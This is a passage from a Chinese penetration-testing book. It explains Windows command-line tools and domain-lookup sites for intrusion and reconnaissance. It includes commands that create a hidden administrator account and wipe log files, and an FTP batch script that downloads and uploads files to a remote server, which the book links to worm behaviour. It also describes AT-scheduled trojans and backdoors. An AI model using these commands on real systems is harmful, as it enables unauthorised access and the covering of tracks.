1.4 DOS基本命令
真正的高手大都通晓Linux/UNIX或者Windows下的基本命令,并熟悉各种平台上的攻击和防护。不过,所有的高手都是从初学者成长起来的,基础是关键。因此,了解和熟悉常见的DOS基本命令就非常重要。根据笔者的个人经验和网上的相关资料,本节选择了一些具有代表性和实用的DOS命令进行讲解。
1.4.1 常见DOS基本命令
下面介绍常见的DOS基本命令。
1.Net命令
Net命令是Windows操作系统中一个最重要的命令,它可以管理网络环境、服务、用户、登录等本地信息。在Windows 98、Windows NT、Windows 2000、Windows 2003、Windows Vista系列操作系统中都内置了Net命令,但Windows 98中的Net命令与Windows NT中的Net命令有所不同,后期操作系统中的Net命令的基本功能都相同。Net命令一般在DOS提示符下运行。
说明
(1)在DOS命令提示符下输入“Net/?”、“Net”及“Net help”命令,可以获取帮助信息。相应的方法的帮助命令为“Net COMMAND/HELP”、“Net HELP COMMAND”、“Net COMMAND/?”。
(2)所有Net命令均接受选项“/yes”和“/no”,可缩写为“/y”和“/n”,用于预先给系统的提问一个答案。
Net命令的具体用法如下。
“Net VIEW”命令用于显示域列表、计算机列表或指定计算机的共享资源列表,格式如下。
net view [computername | /domain[:domainname]]
• 输入不带参数的“net view”命令,将显示当前域的计算机列表。
• “computername”用于指定要查看其共享资源的计算机。
• “/domain[:domainname]”用于指定要查看其可用计算机的域。
“Net USER”命令用于添加或更改用户账号或显示用户账号信息。该命令也可以写为“net users”,格式如下。
net user [username [password | *] [options]] [/domain]
• 输入不带参数的“net user”命令,可以查看计算机上用所有户的账号列表。
• “username”用于添加、删除、更改或查看用户的账号名。
• “password”用于为用户账号分配或更改密码。
• “*”提示输入密码。
• “/domain”用于在计算机主域的主域控制器中执行操作。
“Net USER”命令一般配合“Net Localgroup”命令使用,用于添加用户,以及提升用户到管理员组中。“Net Localgroup”命令格式如下。
net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
• 输入不带参数的“net localgroup”命令,可显示服务器名称和计算机的本地组名称。
• “groupname”表示需要添加、扩充或删除的本地组名称。
• “/comment: "text "”表示为新建或现有的组添加注释。
• “/domain”表示在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作。
• “name[...]”中列出了要添加到本地组或从本地组中删除的1个或多个用户名或组名。
• “/add”用于将全局组名或用户名添加到本地组中。
• “/delete”用于从本地组中删除组名或用户名。
将名称为“test”、密码为“12345678”的用户添加到管理员中的完整批命令如下。
net user
net user test 12345678 /add
net localgroup Administators test /add
net localgroup Administrator
该批命令首先查看系统中的用户,然后添加“test”用户,并将“test”用户添加到管理员组中,最后查看“test”用户是否已被成功地添加到管理员组中。
“Net USE”命令用于查看连接的计算机,断开计算机与共享资源的连接,或者显示计算机的连接信息,命令格式如下。
net use [devicename | *] [computernamesharename[volume]] [password | *]]
[/user:[domainname]username] [[/delete] | [/persistent:{yes | no}]]
• 输入不带参数的“net use”命令,可列出网络连接。
• “devicename”用于指定要连接的资源名称或要断开的设备名称。
• “computernamesharename”表示服务器及共享资源的名称。
• “password”表示访问共享资源的密码。
• “*”提示输入密码。
• “/user”用于指定进行连接的另外一个用户。
• “domainname”用于指定另一个域。
• “username”用于指定登录的用户名。
• “/home”用于将用户连接到其宿主目录。
• “/delete”用于取消指定的网络连接。
• “/persistent”用于控制永久网络连接的使用。
“Net TIME”命令用于查看系统时间,使计算机的时钟与另一台计算机或域的时钟同步,命令格式如下。
net time [computername | /domain[:name]] [/set]
• “computername”表示要检查或同步的服务器名。
• “/domain[:name]”用于指定要与其时间同步的域。
• “/set”用于使本计算机时钟与指定计算机或域的时钟同步。
在Windows系列操作系统中,关于服务命令的操作主要有4个,分别是“Net Start”、“Net Pause”、“Net Continue”和“Net STOP”。后3个命令之后必须有具体的服务名称,分别表示“暂停正在运行的服务”、“重新激活挂起的服务”和“停止正在运行的服务”。“Net Start”命令后如果没有具体的服务名称,则显示已启动服务的列表。例如,运行、暂停、继续运行和停止计算机浏览器服务(Computer Browser)的命令为“net start "Computer Browser"、net pause "Computer Browser"”、“net Continue"Computer Browser"”和“net stop "Computer Browser"”。
注意
也可以通过系统中的服务管理器进行管理。在DOS提示符或者“开始”→“运行”文本框中输入“services.msc”,即可打开服务管理器。
“Net Statistics”命令用于显示本地工作站或服务器服务的统计记录,命令格式如下。
net statistics [workstation | server]
• 输入不带参数的“net statistics”命令,将列出其统计信息可用的运行服务。
• “workstation”用于显示本地工作站服务的统计信息。
• “server”用于显示本地服务器服务的统计信息。
“Net Share”命令用于创建、删除或显示共享资源,命令格式如下。
net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
• 输入不带参数的“net share”命令,将显示本地计算机上所有共享资源的信息。
• “sharename”表示共享资源的网络名称。
• “drive:path”用于指定共享目录的绝对路径。
• “/users:number”用于设置可同时访问共享资源的最大用户数。
• “/unlimited”表示不限制同时访问共享资源的用户数。
• “/remark: "text "”用于添加关于资源的注释,注释文字用引号包裹。
“Net Session”命令用于列出或断开本地计算机和与之连接的客户端的会话,也可以写为“net sessions”或“net sess”,命令格式如下。
net session [computername] [/delete]
• 输入不带参数的“net session”命令,将显示所有与本地计算机的会话的信息。
• “computername”用于标识要列出或断开会话的计算机。
• “/delete”用于结束与“computername”计算机的会话,并关闭本次会话期间计算机的所有进程。
“Net Send”命令用于向网络中的其他用户、计算机或通信名发送消息,命令格式如下。
net send {name | * | /domain[:name] | /users} message
• “name”表示要接收发送消息的用户名、计算机名或通信名。
• “*”表示将消息发送到组中的所有名称处。
• “/domain[:name]”表示将消息发送到计算机域中的所有名称处。
• “/users”表示将消息发送到与服务器连接的所有用户处。
• “message”表示作为消息发送的文本。
“Net Print”命令用于显示或控制打印作业及打印队列,命令格式如下。
net print [computername ] job# [/hold | /release | /delete]
• “computername”表示共享打印机队列的计算机名。
• “sharename”表示打印队列的名称。
• “job#”表示在打印机队列中分配给打印作业的标识号。
• “/hold”表示使用“job#”时,在打印机队列中使打印作业等待。
• “/release”表示释放保留的打印作业。
• “/delete”表示从打印机队列中删除打印作业。
Net命令还有许多,读者可以配合Net命令的帮助文件使用,这里不再赘述。
2.Ipconfig命令
“Ipconfig”和“Ipconfig/all”命令用于查看网络的配置情况。直接在DOS命令提示符下输入“Ipconfig/all”命令,如图1-44所示,可以获取IP地址、网卡地址、网关、计算机名称、DNS服务器等信息。获取计算机网络配置信息是网络入侵和安全检测的一个重要步骤。
图1-44 查看网络配置情况
3.文件目录操作命令
在DOS命令提示符下对目录的操作命令主要有md、rd、cd、tree、dir等,这些命令还可以配合type等命令来查看目录下的文件。在DOSShell或者反弹的Shell中使用这些命令,可以查看文件、生成文件等。
• “MD”命令用于创建目录,格式为“MD[盘符] [路径]”。例如,“MD TEMP”表示在当前目录中创建“temp”子目录。该命令一次只能创建一个目录。
• “RD”命令用于删除目录,格式为“RD[盘符][路径]”。该命令只能删除空目录,且不能删除当前目录。
• “CD”命令主要用于进入指定目录,格式为“CD[路径]”,不带路径则表示显示当前路径。例如,“CD c:\windows\system32\”表示进入“c:\windows\system32\”目录。“CD”命令只能用于进入当前盘符中的目录,其中“CD\”表示回到根目录,“CD..”表示回到上一级目录。
• “TREE”命令主要用于以图形的形式显示驱动器或路径的文件夹结构,格式为“TREE[drive:] [path] [/F] [/A]”,“/F”表示显示每个文件夹中文件的名称,“/A”表示使用ASCII字符而不使用扩展字符。在很多网站或者图书中,其文件经常会显示为树型结构,就是通过“TREE”命令实现的。如图1-45所示,可以使用“tree/F>filename.txt”命令显示当前目录下的所有子目录和文件名,并将显示的结构打印到filename.txt文件中,打开filename.txt文件即可看到其树型目录的结构。
图1-45 使用树型结构显示文件目录和文件
• “DIR”命令主要用于显示磁盘目录的内容,常用格式为“DIR[盘符][路径] [/P] [/W] [/O] [/A]”。“/P”表示分屏显示,屏幕上一次显示23行文件信息,然后暂停,并提示“请按任意键继续”;“/W”表示只显示文件名,不显示文件大小及建立的日期和时间,使用后每行可以显示5个文件名;“/S”表示递归查询;“/O”表示使用排序;“A/”表示查看所有文件的属性。例如,查询C盘下所有EXE文件的命令为“dir c\*.exe/s”。
4.文件操作命令
在网络攻防过程中,有些情况下,由于不能获得其图形界面,只能得到一个DOSShell或者WebShell,这时对文件的操作只能通过DOS命令来进行。对文件的操作主要有复制、删除、改名及显示文件命令等。
• “COPY”命令主要用于复制文件,格式为“COPY[源目录或文件] [目的目录或文件]”。例如,“COPY C:\*.doc D:\"”命令表示将C盘根目录下的DOC文件全部复制到D盘。使用该命令进行文件复制时,目的目录一定要存在。
• “DEL”命令主要用于删除文件,格式为“DEL[盘符] [路径] [文件名][参数]”。例如,强制并以安静模式删除系统目录下的所有日志文件的命令为“DEL C:\*.log/s/f/q”。“/s”表示递归删除;“/f”表示强制删除;“/q”表示以安全模式删除,删除时没有提示;“/p”表示用户在删除多个文件时,对每个文件都显示是否删除的询问。
• “REN”命令主要用于对文件进行改名操作,格式为“REN[原名] [现名]”,DOS 7.0及以后的版本都支持对文件名和目录名的修改,而以前版本的DOS只能修改文件名。
• “TYPE”命令用于显示文本文件,格式为“TYPE[文件名]”,只能以文本方式查看。
• “Attrib”命令主要用于设置文件属性,通过该命令可以对文件进行属性的查看和更改,格式为“ATTRIB[路径] [文件名] [参数]”,如果不加参数则为显示文件属性。其参数有“+?”和“-?”两种,“?”代表属性代号,“H”表示隐藏,“S”表示系统,“R”表示只读,“+”表示赋予,“-”表示去除。
• “XCOPY”命令主要用于复制文件。该命令是“COPY”命令的加强版,能够对多个子目录进行复制。该命令的参数比较多:最常用的是“/S”,可以对一个目录下的多个子目录进行复制;“/E”用于空目录。该命令的格式为“XCOPY[源路径][源目录/文件名] [目的目录/文件名] [参数]”。
• “MOVE”命令主要用于对文件进行移动,格式为“MOVE[源文件] [目的文件]”。
5.查看系统属性命令
常用的查看系统属性命令如下。
• “mem”命令用于查看计算机中内存有多少,以及内存的使用情况。
• “chkdsk”命令用于检查磁盘的使用情况,其格式为“chkdsk磁盘名”。例如,要检查C盘的使用情况,就输入“chkdsk C:”。如果直接输入“chkdsk”,将检查当前磁盘的使用情况。
• “time”命令用于显示和设置DOS的系统时间,其格式为“time [hh[:mm[:ss[.cc]]]”。
• “date”命令用于显示和设置DOS的系统日期,其格式为“date [MM-DD-YY]”。
• “ver”命令用于显示正在运行的DOS系统的版本号。
• “cls”命令用于清除屏幕上的内容,使DOS提示符出现在屏幕左上角,格式为“cls”。
1.4.2 常见DOS网络命令
本节介绍常见的DOS网络命令。
1.ping命令
ping命令是TCP/IP协议中最有用的命令之一,它通过向计算机发送ICM回应报文并监听回应报文的返回,校验与远程计算机或者本地计算机的连接。对每个发送的报文,ping命令最多等待1秒,并打印发送和接受报文的数量。比较每个接受报文和发送报文,以校验其有效性。默认情况下发送4个回应报文,每个报文包含64字节数据。
ping命令的格式为“Usage: ping[-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s count] [[-j host-list] [-k host-list]] [-w timeout] destination-list”,其参数的含义如下。
• “-t”用于检验与指定计算机的连接,直到用户中止为止。
• “-a”用于将地址解析为计算机名。
• “-n count”用于发送由count指定数量的Echo报文,默认值为4。
• “-l length”用于发送包含由length指定数据长度的Echo报文。默认为64字节,最大为8 194字节。
• “-f”用于在包中发送“不分段”标志,该包将不被路由上的网关分段。
• “-I ttl”用于将“生存时间”字段设置为ttl指定的数值。
• “-v tos”用于将“服务类型”字段设置为tos指定的数值。
• “-r count”用于在“记录路由”字段中记录发出报文和返回报文的路由,指定的count值最小可以是1,最大可以是9。
• “-s count”用于指定由count指定的转发次数的时间邮票。
• “-j computer-list”表示经过由computer-list指定的计算机列表的路由报文,中间网关可能分隔连续的计算机。允许的最大IP地址数目是9。
• “-k computer-list”表示经过由computer-list指定的计算机列表的路由报文,允许的最大IP地址数目是9。
• “-w timeout”用于以毫秒为单位指定超时间隔。
• “destination-list”用于指定要校验连接的远程计算机。
2.nbtstat命令
nbtstat命令可以用于查询涉及NetBIOS信息的网络计算机,还可用于消除NetBIOS高速缓存器和预加载LMHOSTS文件。
该命令在进行安全检查时非常有用,格式为“nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]”。该命令的参数含义如下。
• “-a remotename”用于显示远程计算机的NetBIOS名称表并列出其名称表。
• “-A IP address”用于显示远程IP地址的计算机的NetBIOS名称表。
• “-c”用于显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址。
• “-n”用于列出本地NetBIOS名称表。“已注册”表示该名称已被广播或者是由WINS服务器注册的。
• “-R”用于在清除NetBIOS名称缓存中的所有名称后重新装入Lmhosts文件。
• “-r”用于列出Windows网络名称解析的名称解析统计。在配置使用WINS的Windows 2000计算机时,可返回需要通过广播或WINS解析和注册的名称数。
• “-S”用于显示客户端和服务器会话,只通过IP地址列出远程计算机。
• “-s”用于显示客户端和服务器会话,并尝试将远程计算机的IP地址转换成使用主机文件的名称。
• “Interval”用于重新显示选中的统计在每个显示之间暂停的时间,单位为秒。按下“CTRL+ C”快捷键,将停止并重新显示统计信息。如果省略该参数,nbtstat命令将打印当前的配置信息(打印1次)。
3.netstat命令
netstat命令用于显示活动的TCP连接、路由表和网络接口信息等,可以让用户得知目前有哪些网络连接正在运行。该命令的格式为“NETSTAT[-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval]”。该命令的参数含义如下。
• “-a”用于显示所有连接和监听端口。该参数常常与参数“n”配合使用,以查看当前所有网络连接,其完整命令为“netstat-an”。
• “-b”用于显示包含于创建每个连接或监听端口的可执行组件,可以查看是哪些组件或者可执行程序打开了哪些端口、是否监听及程序的PID等。
• “-e”用于显示以太网统计信息可以与“-s”组合使用,以查看发送和接受的数据包等。
• “-n”用于以数字形式显示地址和端口号。
• “-o”用于显示与每个连接相关的所属进程的ID。
• “-p proto”用于显示由“proto”指定的协议的连接。“proto”可以是TCP、TCPv6、UDP、UDPv6中的任何一个,如果与“-s”一起使用,则显示按协议统计的信息。
• “-r”用于显示路由表。
• “-s”用于显示按协议统计的信息。默认情况下,显示IP、IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP和UDPv6的统计信息。
• “-p”用于指定默认情况的子集。
• “-v”与“-b”一起使用时,将显示包含于为所有可执行组件创建连接或监听端口的组件。
• “interval”用于重新显示选定的统计信息在每次显示之间暂停时间的间隔,单位为秒。按“CTRL+C”快捷键,将停止并重新显示统计信息。如果省略,netstat命令将显示当前配置信息(只显示1次)。
4.nslookup命令
nslookup命令的功能是查询一台机器的IP地址和其对应的域名,它通常需要一台域名服务器提供域名服务。如果用户已经设置好域名服务器,就可以用这个命令查看不同主机的IP地址所对应的域名了。该命令的一般格式为“nslookup [IP地址/域名]”。
5.finger命令
finger是UNIX和Linux下的一款实用的命令。该命令的功能是查询用户的信息,通常会显示系统中某个用户的用户名、主目录、停滞时间、登录时间、登录Shell等。如果要查询远程机上的用户信息,需要在用户名后面添加“@主机名”,采用“[用户名@主机名]”的格式,不过,要查询的网络主机需要运行finger守护进程。
该命令的一般格式为“FINGER[-l] [user]@host [...]”,其参数含义如下。
• “-s”用于显示用户的注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等。
• “-l”除了可以现实“-s”参数能够显示的信息外,还能显示用户主目录、登录Shell、邮件状态等信息,以及用户主目录下的.plan、.project和.forward文件的内容。
• “-p”除了不显示.plan文件和.project文件以外,其他功能与“-l”参数相同。
6.FTP命令
FTP是“File Transfer Protocol”(文件传输协议)的简称。FTP命令是Internet用户使用最频繁的命令之一。FTP命令使用户能在两台联网的计算机之间传输文件,是在互联网上传输文件的最主要的方法。知道FTP服务器的IP地址、端口、用户名称和密码,即可从服务器上下载或者上传文件。除此之外,还可以进行目录操作、文件操作及执行命令等。目前,一些FTP服务器应用软件,如Serv-U等,可以设置用户可否执行DOS等命令。利用FTP留后门也是控制计算机(肉机)的方法之一。FTP命令的功能非常强大,因此,掌握一些常用的FTP命令对于顺利进行网络攻防而言,是非常有必要的。
FTP的命令行格式为“FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]”,其参数含义如下。
• “-v”表示禁止显示FTP服务器响应。
• “-d”表示启用调试方式。
• “-i”表示传送多个文件时禁用交互提示。
• “-n”表示在建立初始连接后禁用自动登录功能。
• “-g”表示禁用文件名组合。
• “-s:filename”指定包含FTP命令的文本文件,这些命令将在启动FTP后自动运行。
• “-a”用于指定绑定FTP数据连接时可以使用任意本地端口。
• “-w:windowsize”用于指定传输缓冲的大小,默认窗口大小为4 096字节。
• “-A”用于匿名登录FTP服务器。
• “Host”用于指定要连接的远程计算机名或IP地址。
说明
(1)FTP命令行参数是区分大小写的。
(2)FTP命令可以交互使用。
FTP命令除了以上参数外,还为用户提供了几十个内部命令,其常用内部命令如下。
• “!”表示在本机执行交互Shell,退出后将回到FTP环境。
• “ascii”表示使用ASCII类型的传输方式。
• “Binary”与ASCII传输方式相对,采用二进制文件传输方式。
• “bell”表示每个命令执行完毕后计算机响铃1次。
• “bye”表示退出FTP会话过程。
• “case”表示在使用mget时,将远程主机文件名中的大写字母转换为小写字母。
• “cd”用于进入远程主机目录。
• “close”用于中断与远程服务器的FTP会话。
• “delete”用于删除远程主机文件。
• “debug”用于设置调试方式,显示发送至远程主机的每条命令。
• “dir”用于显示远程主机目录。
• “disconnection”,同“close”。
• “hash”表示每传输1 024字节显示1个hash符号(#)。
• “help”用于输出帮助命令的解释。
• “lcd”用于改变当前本地主机的工作目录。如果是默认值,就转到当前用户的“Home”目录。
• “ls”用于列出当前远端主机目录中的文件。如果有本地文件,就将结果写至本地文件。
• “mdelete”用于删除远程主机上的多个文件。
• “mkdir”用于在远端计算机上创建目录。
• “mget”用于将远端计算机中的文件传输到本地。
• “mput”用于从本地将多个文件传输至远程主机。
• “open”用于建立指定FTP服务器连接,可指定连接端口,其完整命令为“open ip port”。
• “prompt”用于设置多个文件传输时的交互提示。
• “put local-file [remote-file]”用于将本地文件local-file传送至远程主机。
• “pwd”用于显示远程主机的当前工作目录。
• “quit”,同“bye”,用于退出FTP会话。
• “quote arg1, arg2 ……”用于将参数逐字发送至远程FTP服务器。使用FTP提升权限时需要使用该命令。
• “recv remote-file [local-file]”,同“get”。
• “rename [from] [to]”用于更改远程主机的文件名。
• “send local-file [remote-file]”,同“put”。
• “trace”用于设置包跟踪。
• “type”用于设置文件传输类型为二进制传输。
• “user”用于重新以其他用户名登录远端主机。
• “verbose”,同命令行的“-v”参数,即设置详尽的报告方式,FTP服务器的所有响应都将显示给用户,默认为“on”。
• “?”,同“help”。
• “status”用于显示当前FTP的状态。
7.telnet命令
Telnet用于Internet的远程登录,它可以使已上网的计算机通过网络连接另一台计算机已上网的计算机,实现两台计算机的互相连通。Telnet主要用于远程执行命令,与DOS命令提示符窗口类似,目前的很多木马和远程控制软件都有这项功能,在一些情况下,还可以利用Telnet保留后门。
Telnet服务器端的默认端口为23,其命令格式为“telnet[-a] [-e escape char] [-f log file] [-l user] [-t term] [host [port]]”,各参数的含义如下。
• “-a”表示企图自动登录。除了用当前已登录的用户以外,与“-l”相同。
• “-e”表示跳过字符,进入Telnet客户提示。
• “-f”表示客户端登录的文件名。
• “-l”用于指定登录远程系统时使用的用户名,要求远程系统支持“TELNET ENVIRON”选项。
• “-t”用于指定终端类型。支持的终端类型仅有vt100、vt52、ansi和vtnt。
• “host”用于指定要连接的远程计算机的主机名或IP地址。
• “port”用于指定端口号或服务名。
除了上面介绍的命令外,在登录Telnet服务器后还有一些常用的命令,可以在其中输入“?”查看其具体命令。其中,使用最多的是“Close”和“Quit”命令,“Close”表示关闭当前连接,“Quit”表示退出Telnet会话。
8.AT命令
AT命令是入侵时使用的一个重要命令,通过它可在指定时间执行木马程序或命令。使用AT命令时,其“Task Scheduler”服务的状态必须是“启动”。该命令的格式如下。
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT[\\computername] time [/INTERACTIVE] [ /EVERY:date[,...] | /NEXT:date[,...]]
"command"
• “\\computername”用于指定远程计算机。如果省略这个参数,会计划在本地计算机上运行命令。
• “id”表示指定给已计划命令的识别号。
• “/delete”用于删除某个已计划的命令。如果省略“id”,计算机上所有已计划的命令都会被删除。
• “/yes”表示不需要进一步确认时,与删除所有作业的命令一起使用。
• “time”用于指定运行命令的时间。
• “/interactive”表示允许作业在运行时与当时登录的用户桌面进行交互。
• “/every:date[,...]”表示每个月或每个星期在指定的日期运行命令。如果省略日期,则默认为在每月的本日运行。
• “/next:date[,...]”用于指定在下一个指定日期(如下周四)运行命令。如果省略日期,则默认为在每月的本日运行。
• “"command"”表示准备运行的Windows NT命令或批处理程序。
常用的AT命令如下。
• “AT”用于查看自己计算机上的计划作业。
• “AT//ip”用于查看远程计算机上的计划作业。
• “AT//ip时间命令(注意加盘符)”用于在远程计算机上添加一个作业。
• “AT//ip计划作业ID/delete”用于删除远程计算机上的一个计划作业。
• “AT//ip all/delete”用于删除远程计算机上的全部计划作业。
9.tracert命令
tracert命令用于验证通往远程主机路径的实用程序,最简单的用法是“tracert hostname”。其中,“hostname”是计算机名或我们希望跟踪其路径的计算机的IP地址。
该命令的格式为“tracert[-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name”,其参数含义如下。
• “-d”表示不将IP地址转为主机名。
• “-h”表示最大的跟踪数量,默认为30可跃点。
• “-j host-list”用于指定“回响请求”消息对于在主机列表中指定的中间目标集使用IP报头中的“松散源路由”选项。
• “-w Timeout”用于指定等待“ICMP已超时”消息的时间。如果在规定时间内未收到消息,则显示一个星号(*)。默认的超时时间为4 000毫秒。
• “Target_name”用于指定目标,可以是IP或主机名。
1.4.3 一些实用的DOS命令使用案例
本节给出一些实用的DOS命令使用案例供读者参考。
1.在Shell中使用Type命令查看操作系统的版本
在Windows操作系统中有一个特殊的文件,就是BOOT.INI。该文件是系统启动时必须存在的文件,主要内容包括系统加载部分“[boot loader]”和操作系统部分“[operating systems]”。系统加载部分包含“timeout=”和“default=”:“timeout=”用于设定开机时系统引导菜单显示的时间,超过设定值则自动加载;“default=”用于将指定的“*”作为操作系统,默认值是30,单位为秒。在“[operating systems]”中,会显示类似“multi(0)disk(0)rdisk(0)partition(1)\Windows = "Microsoft Windows XP Professional"/fastdetect”的字样,其中表明了具体的操作系统类型。因此,可以通过查看该文件获知操作系统的类型。具体命令如下。
Type c:\boot.ini
说明
查看该文件可以获知系统是否采用了Ghost,以及是否存在多个操作系统。如果存在多个操作系统,则在获得Shell的情况下可以提升权限。在后面会介绍一个通过扫描SQL Hello漏洞得到Shell,并通过复制多操作系统的可执行文件提升权限的案例。
2.使用批命令上传和下载文件
很多蠕虫病毒就是利用批处理命令进行文件的上传和下载,将获取的口令、邮件地址等上传到服务器,将木马程序等下载到本地。在本例中,通过将FTP中的命令写成一个批处理文件,下载服务器上的rar.exe文件,并将ipmon.exe文件上传到服务器,其执行脚本如下。执行完毕,如图1-46所示。
图1-46 执行上传和下载文件的批处理命令
echo open 192.168.1.19>b
echo test>>b
echo test>>b
echo bin>>b
echo get rar.exe>>b
echo put ipmon.exe>>b
echo bye>>b
ftp -s:b
del b
1.5 域名查询技术
互联网上使用最多的就是域名。域名(Domain Name)是指企业、政府、非政府组织等机构或个人在域名注册商上注册的名称,是互联网上企业或机构间相互联络的网络地址。通俗地说,域名就相当于一个家庭的门牌号码,别人通过这个号码可以很容易地找到你。
1.5.1 域名小知识
下面介绍一些与域名有关的小知识。
1.域名的构成
我们以一个常见的域名“www.baidu.com”为例进行说明。
标号“baidu”是这个域名的主体;最后的标号“com”则是该域名的后缀,代表这是一个.com国际域名,是顶级域名;前面的“www”是网络名,为www的域名。DNS规定,域名中的标号都由英文字母和数字组成,每一个标号不超过63个字符,也不区分大小写。标号中除连字符(-)外,不能使用其他标点符号。级别最低的域名写在最左边,级别最高的域名写在最右边。由多个标号组成的完整域名不超过255个字符。近年来,一些国家纷纷开发出由本民族语言构成的域名,如德语域名、法语域名等。我国也开始使用中文域名,但可以预计,在相当长的一段时间内,我国以英语为基础的域名(即英文域名)仍然是主流。
2.域名的基本类型
域名主要有国际域名和国内域名两种。国际域名(International Top-level Domain-names,iTDs),也叫国际顶级域名,是使用最早、最广泛的域名。表示工商企业的.com,表示网络提供商的.net,表示非营利组织的.org等,都是国际顶级域名。国内域名又称国内顶级域名(National Top-level Domainnames,nTLDs),即按照国家的不同分配不同的后缀,这些域名即为该国的国内顶级域名。在实际使用和功能上,国际顶级域名与国内顶级域名没有任何区别,都是互联网上具有唯一性的标识。只是在最终管理机构上,国际顶级域名由美国商业部授权的互联网名称与数字地址分配机构(The Internet Corporation for Assigned Names and Numbers,ICANN)负责注册和管理,而国内顶级域名则由中国互联网络管理中心(China Internet Network Information Center,CNNIC)负责注册和管理。
3.域名的级别
域名可分为不同的级别,包括顶级域名、二级域名等。顶级域名又分为国家顶级域名和国际顶级域名两类。
目前有200多个国家按照ISO3166国家代码分配顶级域名,如中国是.cn、美国是.us、日本是.jp等。在国际顶级域名中,常见的如表示工商企业的.com、表示网络提供商的.net、表示非营利组织的.org等。因为多数公司上网的目的是为了赢利,所以大多数域名争议都发生在.com顶级域名下。为了加强域名管理,解决域名资源的紧张问题,Internet协会、Internet分址机构及世界知识产权组织(WIPO)等国际组织经过广泛协商,在原来的3个国际通用顶级域名(.com)的基础上,增加了7个国际通用顶级域名,分别是.firm(公司企业)、.store(销售公司或企业)、.web(突出WWW活动的单位)、.arts(突出文化、娱乐活动的单位)、.rec(突出消遣、娱乐活动的单位)、.info(提供信息服务的单位)、.nom(个人),并在世界范围内选择新的注册机构来受理域名注册申请。
二级域名是指顶级域名之下的域名:在国际顶级域名下,表示域名注册人的网上名称,如ibm、yahoo、microsoft等;在国家顶级域名下,表示注册企业的类别,如.com、.edu、.gov、.net等。我国在国际互联网络信息中心(Inter NIC)正式注册并运行的顶级域名是.cn,这也是我国的一级域名。在顶级域名之下,我国的二级域名又分为类别域名和行政区域名两类。类别域名共6个,分别是用于科研机构的.ac、用于工商金融企业的.com、用于教育机构的.edu、用于政府部门的.gov、用于互联网络信息中心和运行中心的.net、用于非营利组织的.org。而行政区域名有34个,分别对应于我国各省、自治区和直辖市。
三级域名用字母(A~Z,a~z,大小写等)、数字(0~9)和连接符(-)组成,各级域名之间用实点(.)连接。三级域名的长度不能超过20个字符。如无特殊原因,建议采用申请人的英文名(或者缩写)或者汉语拼音名(或者缩写)作为三级域名,以保持域名的清晰和简洁。
1.5.2 域名在渗透中的作用
Web渗透主要通过域名地址进行定位,通过IP地址查询域名注册情况,通过查看域名实际注册情况有选择性地进行渗透。域名查询有两种方式,一种是通过IP地址反查该IP地址的域名注册情况,另外一种是通过域名查询IP地址。
1.5.3 使用IP866网站查询域名
目前有很多网站提供域名查询服务,通过这些网站可以方便地查看域名注册情况,收集渗透目标的信息。IP866网站查询国内域名效果较好,但对国外的域名情况的收集就不那么全面了。
01 使用IP866.com网站查询域名
打开网站www.ip866.com,然后在主界面上选择“域名反查”选项,如图1-47所示,在文本输入框中输入需要查询的IP地址或者域名即可。
图1-47 域名反查
02 查看域名反查结果
对www.sina.com.cn进行域名反查,如图1-48所示,可以看到多个查询结果。该结果表明,IP地址61.172.291.195上绑定了多个域名。如果查询结果中有多个域名,则会分页显示。
图1-48 查看域名反查结果
03 查询域名注册信息
在IP866网站中,除了域名反查外,还有很多功能,其中一个域名适用的功能是查询域名注册信息。如图1-49所示,单击“域名查询”选项,选择查找的Whois服务器,然后单击“查询域名注册信息”按钮,即可获得该域名的更多详细信息。这些信息在社工时是特别有用的。
图1-49 查询域名注册信息
1.5.4 使用yougetsignal网站查询域名
yougetsignal网站免费提供域名查询服务,不过上面有一些广告。如果不想看到广告,可以使用Firefox浏览器,安装Nocript及Adblock Plus插件将广告屏蔽。yougetsignal网站查询国内外网站域名注册效果比较好,推荐使用该网站查询域名注册情况。
yougetsignal网站查询域名的地址为http://www.yougetsignal.com/tools/web-sites-on-web-server/,如图1-50所示,将域名或者IP地址输入“Remote Address”文本框,然后单击“Check”按钮,可以对该IP地址的104个域名一目了然。与IP866网站相比,该网站的查询结果的查看比较方便,便于直接复制。
图1-50 使用yougetsignal网站查询域名注册情况
yougetsignal网站提供了域名注册详细情况的查询。如图1-51所示,可以查看www.sina.com.cn域名注册的详细情况。与IP866不同的是,有些内容是英文的。
图1-51 使用yougetsignal网站查询域名注册
1.5.5 使用Acunetix Web Vulnerability Scanner查询子域名
Acunetix Web Vulnerability Scanner(WVS)是一套综合扫描工具。运行WVS后,在左侧的工具栏中有一个“Subdomain Scanner”选项,如图1-52所示,在Domain中输入需要查询的域名地址,选择一种查询方法,即可查看该主域名下的相关域名。使用WVS还可以对这些子域名进行扫描。
图1-52 使用Acunetix Web Vulnerability Scanner扫描子域名
1.5.6 旁注域名查询
旁注域名查询主要是指从侧面展开对目标网站的渗透,即在对主目标网站渗透未果的情况下,通过旁注域名查询对某一个IP地址段进行域名查询,同时对该IP地址段的域名目标进行有选择的渗透,渗透后通过嗅探等手段截获目标网站的密码。
旁注域名查询有两个工具比较好用:一个是陆羽的T00ls旁注查询工具,该工具在查询到结果后,可以对无效域名进行验证,单击查询结果网站可以直接访问目标网站,如图1-53所示,美中不足的是不能保存查询结果;另一个是网站在线查询,通过输入“xxx.xxx.xxx.%”,即可对某一目标网段的254台主机进行域名查询。
图1-53 T00ls旁注查询工具
1.5.7 使用netcraft网站查询域名
netcraft.com网站提供的域名信息查询功能,使用方法很简单,在浏览器地址后附加网站地址即可,如http://toolbar.netcraft.com/site_report?url=http://www.antian365.com,如图1-54所示,可以获取网站域名、IP地址、DNS、服务器运营商等信息,这些信息在渗透过程中特别有用。
1-54 通过netcraft.com网站在线获取域名等信息
1.6 LCX端口转发实现内网突破
